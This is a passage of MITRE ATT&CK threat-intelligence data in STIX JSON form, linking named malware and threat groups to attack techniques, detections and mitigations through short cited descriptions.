targets from being compromised via confusion of keys by the adversary. Mitigation of this technique is also unlikely to be feasible within most contexts because there are no standard attributes from which an adversary may derive keys. If targeted, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.", "relationship_type": "mitigates", "source_ref": "course-of-action--787fb64d-c87b-4ee5-a341-0ef17ec4c15c", "target_ref": "attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9a5d5258-e0c3-4d73-9d5f-122ed3d7d920", "type": "relationship", "created": "2019-05-28T19:59:45.899Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint TA505 Mar 2018", "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware", "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019."}], "modified": "2020-03-17T01:19:25.373Z", "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) has used HTTP for C2.(Citation: Proofpoint TA505 Mar 2018)", "relationship_type": "uses", "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9a5f9534-a2a4-402e-89bd-d014c2fba224", "type": "relationship", "created": "2019-04-23T20:46:57.173Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.", "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/", "source_name": "CoinTicker 2019"}], "modified": "2019-04-29T21:19:35.027Z", "description": "[CoinTicker](https://attack.mitre.org/software/S0369) executes a Python script to download its second stage.(Citation: CoinTicker 2019)", "relationship_type": "uses", "source_ref": "malware--d1531eaa-9e17-473e-a680-3298469662c3", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9a615c7f-986d-4769-bea6-af9ffe0d575e", "type": "relationship", "created": "2017-05-31T21:33:27.057Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", "source_name": "Symantec Buckeye"}], "modified": "2020-03-18T19:31:03.701Z", "description": "[APT3](https://attack.mitre.org/groups/G0022) has used a tool that can obtain info about local and global group users, power users, and administrators.(Citation: Symantec Buckeye)", "relationship_type": "uses", "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9a62c02a-e373-494e-af73-f8b3274e8c9b", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Sofacy Komplex Trojan", "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"}], "modified": "2020-01-17T19:50:01.354Z", "description": "The OsInfo function in [Komplex](https://attack.mitre.org/software/S0162) collects a running process list.(Citation: Sofacy Komplex Trojan)", "relationship_type": "uses", "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9a66e38c-ea79-4b7b-bf74-555da87d58c3", "created": "2020-05-22T18:00:52.264Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "BitDefender Chafer May 2020", "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.", "url": "https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-18T16:19:53.784Z", "description": "[APT39](https://attack.mitre.org/groups/G0087) has used remote access tools that leverage DNS in communications with C2.(Citation: BitDefender Chafer May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9a6825cb-0656-4d42-b4d7-8d0fa55394c0", "type": "relationship", "created": "2019-06-28T13:52:51.462Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf", "source_name": "ESET LightNeuron May 2019"}], "modified": "2019-07-16T17:12:00.608Z", "description": "[LightNeuron](https://attack.mitre.org/software/S0395) gathers information about network adapters using the Win32 API call <code>GetAdaptersInfo</code>.(Citation: ESET LightNeuron May 2019)", "relationship_type": "uses", "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9a6a51a9-5bbf-4fd9-b489-0502820cc8ae", "type": "relationship", "created": "2021-08-05T12:41:57.293Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-15T22:50:29.837Z", "description": "Data loss prevention can be detect and block sensitive data being uploaded to web services via web browsers.", "relationship_type": "mitigates", "source_ref": "course-of-action--65401701-019d-44ff-b223-08d520bb0e7b", "target_ref": "attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9a6f72d8-f813-48d0-954c-43bd629b2c90", "created": "2022-03-30T14:26:51.864Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-14T15:49:49.299Z", "description": "Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. RDP sessions may be split up into multiple flows and would therefore need to be aggregated.\n\nAnomaly detection using machine learning or other methods based on baselined RDP network flows may be a viable approach to alerting on potential RDP session hijacking.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9a731403-67c3-4d68-aca1-e5c18e1637bf", "type": "relationship", "created": "2022-03-30T14:26:51.842Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.842Z", "description": "Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9a74aca4-4a5e-4a12-bd98-6a4d2df1b1a1", "created": "2022-08-10T20:35:26.215Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cisco Talos Intelligence Group", "description": "Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.", "url": "https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-12-01T17:31:07.713Z", "description": "[TeamTNT](https://attack.mitre.org/groups/G0139) has used a script that decodes a Base64-encoded version of WeaveWorks Scope.(Citation: Cisco Talos Intelligence Group)", "relationship_type": "uses", "source_ref": "intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--9a76cf7c-55d7-41d4-bba8-255eef275404", "created": "2022-03-30T14:26:51.852Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for newly constructed network connections that are sent or received by untrusted hosts or creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.", "modified": "2022-04-18T18:40:32.484Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9a78f409-0f6b-41fd-a18f-f38366e4703e", "created": "2020-05-04T14:56:53.094Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Sood and Enbody", "description": "Aditya Sood and Richard Enbody. (2014, December 16). Targeted Cyber Attacks. Retrieved January 4, 2024.", "url": "https://www.techtarget.com/searchsecurity/feature/Targeted-Cyber-Attacks"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-04T20:34:36.239Z", "description": "[Hikit](https://attack.mitre.org/software/S0009) installs a self-generated certificate to the local trust store as a root CA and Trusted Publisher.(Citation: Sood and Enbody)", "relationship_type": "uses", "source_ref": "malware--95047f03-4811-4300-922e-1ba937d53a61", "target_ref": "attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9a7d5e03-80a0-4ff8-b693-48e11c72aef3", "type": "relationship", "created": "2022-03-30T14:26:51.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.851Z", "description": "To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\AUTOLOGGER_NAME\\{PROVIDER_GUID}</code>", "source_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", "target_ref": "attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9a7ff784-436b-40c5-bfb0-25e02e1d9940", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "DustySky", "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"}], "modified": "2021-04-27T19:53:20.454Z", "description": "[DustySky](https://attack.mitre.org/software/S0062) achieves persistence by creating a Registry entry in <code>HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run</code>.(Citation: DustySky)", "relationship_type": "uses", "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9a823773-6bcc-4923-8f27-4729e771df2b", "type": "relationship", "created": "2022-03-22T14:31:39.355Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft NICKEL December 2021", "url": "https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe", "description": "MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}], "modified": "2022-03-22T14:31:39.355Z", "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has used Base64-encoded shellcode strings.(Citation: Microsoft NICKEL December 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9a8788d7-3f27-49b4-bb60-0b0d581fa812", "type": "relationship", "created": "2020-02-04T19:13:24.905Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-29T23:06:31.686Z", "description": "Ensure critical system files as well as those known to be abused by adversaries have restrictive permissions and are owned by an appropriately privileged account, especially if access is not required by users nor will inhibit system functionality.", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9a88636a-3ac1-4068-91df-82c51fa97086", "type": "relationship", "created": "2021-06-18T15:26:55.655Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Siloscape Jun 2021", "url": "https://unit42.paloaltonetworks.com/siloscape/", "description": "Prizmant, D. (2021, June 7). Siloscape: First Known Malware Targeting Windows Containers to Compromise Cloud Environments. Retrieved June 9, 2021."}], "modified": "2021-06-18T15:26:55.655Z", "description": "[Siloscape](https://attack.mitre.org/software/S0623) can run cmd through an IRC channel.(Citation: Unit 42 Siloscape Jun 2021)", "relationship_type": "uses", "source_ref": "malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--9a8901ea-5cb3-431f-9be8-55986ea41448", "created": "2022-03-07T19:33:01.721Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Check Point Meteor Aug 2021", "url": "https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/", "description": "Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Meteor](https://attack.mitre.org/software/S0688) has the ability to change the password of local users on compromised hosts and can log off users.(Citation: Check Point Meteor Aug 2021)", "modified": "2022-04-09T15:12:29.016Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0", "target_ref": "attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9a8d5690-94b9-46d2-a383-6f26a3c25c80", "type": "relationship", "created": "2021-01-04T15:41:10.302Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearkSky Fox Kitten February 2020", "url": "https://www.clearskysec.com/fox-kitten/", "description": "ClearSky. (2020, February 16). Fox Kitten \u2013 Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020."}, {"source_name": "Check Point Pay2Key November 2020", "url": "https://research.checkpoint.com/2020/ransomware-alert-pay2key/", "description": "Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."}], "modified": "2021-01-05T15:07:54.932Z", "description": "[Pay2Key](https://attack.mitre.org/software/S0556) can encrypt data on victim's machines using RSA and AES algorithms in order to extort a ransom payment for decryption.(Citation: ClearkSky Fox Kitten February 2020)(Citation: Check Point Pay2Key November 2020)", "relationship_type": "uses", "source_ref": "malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9a91c3cf-b39d-470f-85fc-14bbebe39e98", "type": "relationship", "created": "2021-06-07T13:31:30.005Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye FiveHands April 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", "description": "McLellan, T.  and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}, {"source_name": "CISA AR21-126A FIVEHANDS May 2021", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", "description": "CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."}], "modified": "2021-06-08T13:23:15.158Z", "description": "[FIVEHANDS](https://attack.mitre.org/software/S0618) has the ability to delete volume shadow copies on compromised hosts.(Citation: FireEye FiveHands April 2021)(Citation: CISA AR21-126A FIVEHANDS May 2021)", "relationship_type": "uses", "source_ref": "malware--f464354c-7103-47c6-969b-8766f0157ed2", "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9a99712e-ea3c-47f7-a2f6-6109b9d0d4c3", "created": "2023-09-05T14:20:22.008Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-05T14:20:22.008Z", "description": "Routinely monitor user permissions to ensure only the expected users have the capability to request quota adjustments or modify tenant-level compute settings.", "relationship_type": "mitigates", "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": "attack-pattern--ca00366b-83a1-4c7b-a0ce-8ff950a7c87f", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9a99890c-dea1-4ef6-8605-fd4c43f6e37c", "type": "relationship", "created": "2021-03-29T13:01:52.203Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ANSSI RYUK RANSOMWARE", "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", "description": "ANSSI. (2021, February 25). RYUK RANSOMWARE. Retrieved March 29, 2021."}], "modified": "2021-03-29T13:01:52.203Z", "description": "[Ryuk](https://attack.mitre.org/software/S0446) can remotely create a scheduled task to execute itself on a system.(Citation: ANSSI RYUK RANSOMWARE)", "relationship_type": "uses", "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9a9db72e-71ae-4e00-b723-434dd41855bc", "type": "relationship", "created": "2020-10-21T19:08:44.149Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Medium Metamorfo Apr 2020", "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767", "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."}, {"source_name": "FireEye Metamorfo Apr 2018", "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html", "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."}], "modified": "2020-10-21T22:48:31.430Z", "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has a function to kill processes associated with defenses and can prevent certain processes from launching.(Citation: Medium Metamorfo Apr 2020)(Citation: FireEye Metamorfo Apr 2018) ", "relationship_type": "uses", "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9aa9b9f6-a22f-4763-a2ff-7635f5022727", "type": "relationship", "created": "2022-03-16T18:08:15.496Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Google TAG Ukraine Threat Landscape March 2022", "url": "https://blog.google/threat-analysis-group/update-threat-landscape-ukraine", "description": "Huntley, S. (2022, March 7). An update on the threat landscape. Retrieved March 16, 2022."}], "modified": "2022-03-16T18:08:15.496Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has conducted credential phishing campaigns with embedded links to attacker-controlled domains.(Citation: Google TAG Ukraine Threat Landscape March 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9aaedcf6-f8fe-467f-bed3-6c7f4c4d7b8a", "type": "relationship", "created": "2022-03-30T14:26:51.848Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.848Z", "description": "Monitor and analyze traffic flows that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, or gratuitous or anomalous traffic patterns). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9aaf5e70-4080-4f73-8d6d-3b19f754e9b9", "type": "relationship", "created": "2019-07-17T21:15:42.990Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-08-19T16:57:27.424Z", "description": "Disable or block remotely available services that may be unnecessary.", "relationship_type": "mitigates", "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9ab576ed-2ba0-4fc5-87fc-2011a7cd183d", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf", "description": "Huss, D. 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Retrieved September 2, 2021."}], "modified": "2021-10-15T14:37:09.582Z", "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a module to collect data from removable drives.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)", "relationship_type": "uses", "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9ab85095-bac1-4b21-8e9d-e24c084af0d2", "created": "2020-08-31T14:56:42.450Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SentinelOne Valak June 2020", "description": "Reaves, J. and Platt, J. (2020, June). Valak Malware and the Connection to Gozi Loader ConfCrew. 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(2015, April 7). Winnti Analysis. Retrieved February 8, 2017.", "url": "https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-20T22:02:53.998Z", "description": "[Winnti for Windows](https://attack.mitre.org/software/S0141) can run as a service using svchost.exe.(Citation: Novetta Winnti April 2015)", "relationship_type": "uses", "source_ref": "malware--d3afa961-a80c-4043-9509-282cdf69ab21", "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "x_mitre_deprecated": false, "x_mitre_version": "1.0", 